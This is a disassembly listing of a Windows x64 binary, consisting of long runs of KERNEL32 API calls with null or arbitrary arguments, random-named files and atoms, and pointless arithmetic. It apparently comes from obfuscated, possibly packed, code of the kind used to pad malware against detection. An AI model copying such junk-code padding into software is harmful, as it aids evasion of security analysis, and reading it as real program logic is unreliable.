call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e64], eax
lea rcx, [rsp + 0x9dd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x99c]
sub eax, ecx
mov rcx, qword [rsp + 0x9660]
mov word [rcx], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x21780]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e64], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [rsp + 0x4774]
mov ecx, dword [rsp + 0x4cc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f150]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae98]
mov qword [rsp + 0xb4c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa288]
mov rcx, qword [rsp + 0x8898]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xafa8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx ecx, word [rsp + 0xf58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x144c], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4e68], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, [rsp + 0xa580]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rdx, [rsp + 0xae70]
mov rcx, qword [rsp + 0xa908]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e6c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xae00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9688]
mov qword [rsp + 0xb4d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4d0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [0x14024f2c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x74c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb4d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
mov rax, qword [rsp + 0x8850]
mov rcx, qword [rsp + 0xaa30]
div qword [rcx]
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x4684]
mov qword [rsp + 0xb4e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
movsx eax, word [rsp + 0x1210]
mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x294]
mov rcx, qword [rsp + 0xb3f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x284], al
movzx eax, byte [rsp + 0x285]
mov byte [0x14024f0e4], al
mov rcx, qword [rsp + 0xaec8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x490c]
mov qword [rsp + 0xb4e8], rax
mov dword [rsp + 0x21f60], 0x11c
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb128]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x704], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
movzx ecx, word [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0xac38]
mov eax, dword [rax]
mov dword [rsp + 0x4e70], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb4f0], rax
mov dword [rsp + 0x20], 0x17b9
mov r9d, 0x847
mov r8d, 0x1204
mov edx, 0x16cc
mov rcx, qword [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4bd8], eax
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.r5SauZ_bpJhpweXFmcOFI1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb4f8], rax
movzx eax, byte [rsp + 0x29d]
movzx ecx, byte [0x14024f108]
imul eax, ecx
mov byte [rsp + 0x88], al
mov r9d, 0x1f26
xor r8d, r8d
lea rdx, [rsp + 0xb488]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4be8], eax
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0xb500], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x4a80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97a8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xab78], rax
mov rax, qword [rsp + 0x9af8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 1
lea r8, [rsp + 0x9ec8]
mov rdx, qword [rsp + 0xa090]
mov rcx, qword [rsp + 0xa228]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aac], eax
mov edx, 0x6d2
mov rcx, qword [rsp + 0xa480]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e74], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0xb478]
mov rcx, qword [rsp + 0xb4b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f3b8], eax
mov dword [rsp + 0x20], 0x24e6
mov r9d, 0x24a9
mov r8d, 0x1308
mov edx, 0x3ec7
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4e78], eax
movzx ecx, word [rsp + 0x1374]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x14024f348]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a2]
sub eax, ecx
mov rcx, qword [rsp + 0xaff8]
mov byte [rcx], al
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0xb508], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
lea rcx, [rsp + 0x1ab28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0x99b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9208], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rcx, str.EovJwoj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13c4], ax
lea rdx, [rsp + 0xb510]
mov rcx, qword [rsp + 0xb138]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movabs rax, 0x793820b4ca8559
mov rcx, qword [rsp + 0x86c8]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f78], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov dword [rsp + 0x4e7c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0xac78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a0], al
lea rax, [rsp + 0xf84]
mov qword [rsp + 0xb518], rax
lea rcx, [rsp + 0x1ab58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [rsp + 0x270]
sub eax, ecx
mov byte [rsp + 0x276], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa748], rax
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13e4]
xor eax, ecx
mov word [0x14022fbcc], ax
mov r9d, 1
lea r8, [rsp + 0xa4b8]
mov rdx, qword [rsp + 0x9bf0]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e80], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor r9d, r9d
lea r8, [rsp + 0xaeb0]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0xab58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e84], eax
movzx ecx, word [rsp + 0x12a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1074], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [rsp + 0xb520]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov eax, dword [rsp + 0x4d84]
mov rcx, qword [rsp + 0x9588]
mov qword [rsp + 0xb528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb528]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaa70]
mov dword [rcx], eax
lea rax, [rsp + 0x8508]
mov qword [rsp + 0xb530], rax
mov r9d, 0x1eee
xor r8d, r8d
lea rdx, [rsp + 0xb398]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49e4], eax
movzx ecx, word [rsp + 0x1094]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x149c], ax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9af8]
mov qword [rcx], rax
mov edx, 0xc02
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e88], eax
movzx ecx, word [rsp + 0x1168]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
mov r9d, 0x191d
xor r8d, r8d
lea rdx, [rsp + 0x9a30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d58], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [rsp + 0xeec]
mov qword [rsp + 0xb538], rax
movsx eax, word [rsp + 0xc50]
mov rcx, qword [rsp + 0x9cd0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x91c], ax
lea rcx, [rsp + 0x1a738]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea rdx, [rsp + 0x9c60]
mov rcx, qword [rsp + 0xac28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x9a88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2c2]
sub eax, ecx
mov byte [rsp + 0xd8], al
mov dword [rsp + 0x20], 0x81e
mov r9d, 0x2155
mov r8d, 0x3d25
mov edx, 0x3997
mov rcx, qword [rsp + 0xafe0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4944], eax
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14a0], ax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
mov rcx, qword [rsp + 0x9580]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4844], eax
mov rax, qword [rsp + 0xa850]
mov eax, dword [rax]
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0xacf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d70]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x270], al
mov eax, dword [rsp + 0x44c4]
mov ecx, dword [0x14024f148]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f138]
mov dword [rcx], eax
mov dword [rsp + 0x22080], 0x11c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rdx, [rsp + 0xb540]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0xaaf8]
mov rcx, qword [rsp + 0xa250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x128c], ax
lea rcx, [rsp + 0x1ab88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
lea rdx, [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d28], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0xa6b
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49ac], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xaf98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa160]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x2ef8
mov r9d, 0xfb2
mov r8d, 0x224d
mov edx, 0x3b60
mov rcx, qword [rsp + 0xb1f0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e94], eax
movzx eax, byte [rsp + 0x17c]
mov byte [rsp + 0x2cf], al
lea rcx, [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xcbc]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0xbd4], ax
movsx eax, word [rsp + 0x1118]
mov rcx, qword [rsp + 0x9a60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x650], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx ecx, word [rsp + 0x12a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14a4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
movsx eax, byte [rsp + 0x2a8]
mov rcx, qword [rsp + 0x98d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass], al
mov rax, qword [rsp + 0xa738]
mov rcx, qword [rsp + 0xab90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b8c], eax
lea rcx, str.RMAbGbF54Z0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1170], ax
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x20e80]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4e98], eax
lea rax, [rsp + 0x4c18]
mov qword [rsp + 0xb548], rax
movzx ecx, word [rsp + 0x117c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x135c], ax
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x1184]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14a8], ax
lea rcx, [rsp + 0xa610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x43d8]
mov dword [0x14024f0e0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx eax, byte [rsp + 0x28f]
mov rcx, qword [rsp + 0xa310]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x28c], al
mov rax, qword [rsp + 0xa170]
movzx eax, word [rax]
imul eax, eax, 0x440
mov rcx, qword [rsp + 0x9628]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bd0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb550], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ca0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx ecx, word [rsp + 0x11cc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14ac], ax
lea rcx, [rsp + 0x1ab58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa910]
mov rax, qword [rax]
mov qword [rsp + 0xb558], rax
mov rcx, qword [rsp + 0x8d00]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaa20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x86f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa200]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fd]
sar eax, cl
mov byte [rsp + 0x93], al
movsx eax, word [rsp + 0x898]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x138c], ax
mov eax, dword [rsp + 0x4c9c]
movzx ecx, al
mov eax, dword [rsp + 0x43fc]
shl eax, cl
mov dword [rsp + 0x4a30], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0xd6c]
mov word [rsp + 0x14b0], ax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x484c]
mov qword [0x14024f0d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
div qword [rsp + 0x9a08]
mov qword [rsp + 0x7be8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx eax, byte [rsp + 0x274]
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9688]
mov qword [rcx], rax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xb560], rax
mov rcx, qword [rsp + 0xa240]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4944], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb568], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
sub eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov byte [rcx], al
mov rax, qword [rsp + 0xadc0]
mov ecx, dword [rsp + 0x44e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x43d0], eax
lea rcx, [rsp + 0xae48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0xb570], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1675
mov r9d, 0xdbd
mov r8d, 0x36cb7afa
mov edx, 2
mov rcx, qword [rsp + 0xae18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xb398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor r9d, r9d
lea r8, [rsp + 0xa9e0]
mov rdx, qword [rsp + 0xb510]
mov rcx, qword [rsp + 0xa5e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e9c], eax
lea rcx, [rsp + 0x1a978]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.jkeWARbmVD8iB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb578], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa380], rax
movzx eax, byte [rsp + 0x2bc]
movzx ecx, byte [rsp + 0x2d0]
sub eax, ecx
mov rcx, qword [0x14024f218]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
mov rax, qword [rsp + 0x9e58]
mov rcx, qword [rsp + 0x9d58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7dd8], rax
lea rcx, str.MxJ_pNyPcq3_Qf4NxE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x14b4], ax
mov rax, qword [rsp + 0xa7d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a6]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x28de
mov r9d, 0x1f7b
mov r8d, 0x34c5
mov edx, 0x24ef
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c70], eax
movzx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xafe8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1344], ax
mov eax, dword [rsp + 0x45fc]
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x9658]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e1]
sub eax, ecx
mov byte [rsp + 0x255], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xb0f0]
movsx eax, word [rax]
movsx ecx, word [0x14024f3be]
sub eax, ecx
mov word [rsp + 0xea8], ax
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14b8], ax
xor r9d, r9d
lea r8, [rsp + 0xa9d8]
mov rdx, qword [rsp + 0xb520]
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e24], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.jSk8XL8HjtgF7X
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb580], rax
movzx ecx, word [rsp + 0x102c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1280], ax
mov rcx, qword [rsp + 0x98d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0x9f50]
mov rcx, qword [rsp + 0xa248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46c4], eax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0xaad0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa7e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0xab98]
mov rdx, qword [rsp + 0x9a58]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0x2c7]
mov qword [rsp + 0xb588], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
